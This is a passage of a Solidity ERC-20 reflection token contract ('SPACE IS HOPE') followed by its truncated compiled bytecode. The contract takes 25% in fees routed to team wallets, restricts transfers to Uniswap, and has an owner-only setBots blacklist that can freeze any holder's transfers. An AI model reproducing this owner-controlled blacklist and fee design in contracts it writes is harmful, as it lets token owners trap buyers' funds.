if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600d81526020017f535041434520495320484f504500000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f53504143454953484f5045000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000